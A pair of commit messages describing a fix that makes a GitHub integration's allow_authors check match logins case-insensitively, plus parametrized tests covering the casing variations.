* fix(github): match allow_authors logins case-insensitively GitHub logins are case-insensitive, and the sibling gates in this module already treat them that way. allow_authors used a bare string membership test, so a YAML casing mismatch silently dropped owner webhooks that should have bypassed require_mention. * test(github): parametrize allow_authors case-fold over both directions Cover the reverse cfg "alice" / payload "Alice" direction plus the all-caps and exact-case rows from the PR's E2E matrix. Each casing-differs row is red on the pre-fix source; the exact-case row stays green both ways, pinning that case-folding is a superset of the old exact match. |